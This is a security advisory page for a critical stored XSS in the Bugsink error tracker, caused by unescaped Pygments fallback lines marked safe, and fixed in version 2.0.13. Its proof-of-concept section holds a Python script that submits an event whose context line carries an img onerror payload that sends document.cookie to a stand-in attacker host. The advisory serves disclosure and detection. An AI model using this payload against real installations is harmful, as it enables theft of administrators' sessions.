Kritisch

Bugsink is vulnerable to Stored XSS via Pygments fallback in stacktrace rendering

  • Veröffentlicht: 25.02.2026
  • Aktualisiert: 11.10.2026 14:17

Summary

An unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event. The payload executes only if a user explicitly views the affected Stacktrace in the web UI.

Details

When Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), _pygmentize_lines() in theme/templatetags/issues.py:75-77 falls back to returning the raw input lines. mark_safe() at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event.

python
# issues.py:75-77 - fallback path, no escaping
if len(pygmented) != len(lines):
    return lines  # raw HTML returned here

# issues.py:111-113 - unconditional mark_safe
return [mark_safe(line) for line in result]

Operational Signals

Exploitation attempts are likely to generate the diagnostic event:

"Pygments line count mismatch, falling back to unformatted code"

Installations that monitor Bugsink with Bugsink (or otherwise alert on internal errors) may see this message as an issue. While the condition can occur benignly, unexpected occurrences, especially from unusual languages (specifically ruby), warrant review.

PoC

Send a Sentry event to /api/<project-id>/store/ with a valid DSN:

python
import requests

payload = {
    "exception": {"values": [{"stacktrace": {"frames": [{
        "filename": "app.rb",
        "lineno": 2,
        "pre_context": ["<<~HEREDOC", "  foo", "HEREDOC"],
        "context_line": "<img src=x onerror=fetch('//attacker/?c='+document.cookie)>",
        "post_context": []
    }]}}]}
}

requests.post(
    "http://bugsink-host/api/<project-id>/store/",
    json=payload,
    headers={"X-Sentry-Auth": "Sentry sentry_key=<dsn-public-key>, sentry_version=7"}
)

Open the event in the bugsink UI as any admin. Cookie exfiltrates immediately.

Impact

This is a stored XSS vulnerability.

Successful exploitation requires:

  • The attacker can submit events to the project (i.e. knows the DSN or can access a client that uses it).
  • The Bugsink ingest endpoint is reachable to the attacker.
  • An administrator explicitly views the crafted event in the UI.

Under those conditions, the attacker can execute JavaScript in the administrator’s browser and act with that user’s privileges within Bugsink.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) bugsink < 2.0.13 2.0.13

Verweise

CVSS-Wert 9.3/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Schwäche (CWE)
CWE-79
Plattform
Python (PyPI)
Paket
bugsink
Veröffentlicht
25.02.2026
Aktualisiert
11.10.2026 14:17

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-vp6q-7m36-pq3w - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-301 - PyPA Advisory Database; CC BY 4.0

Schwachstellenhistorie: bugsink

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (10) im Archiv
Einträge insgesamt
10
Erste → letzte
07.2025 06.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 1
  • Hoch 4
  • Mittel 3
  • Niedrig 2

Veröffentlichungen pro Jahr

  1. 2025: 3
  2. 2026: 7
Schweregrad:
  1. Bugsink is vulnerable to Stored XSS via Pygments fallback in stacktrace rendering dieser Eintrag
    Kritisch · 9.3 CVE-2026-27614 < 2.0.13 2.0.13
  2. Hoch CVE-2025-54433 >= 1.7.0, < 1.7.4, >= 1.6.0, < 1.6.4, >= 1.5.0, < 1.5.5, < 1.4.3 1.7.4, 1.6.4, 1.5.5, 1.4.3

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.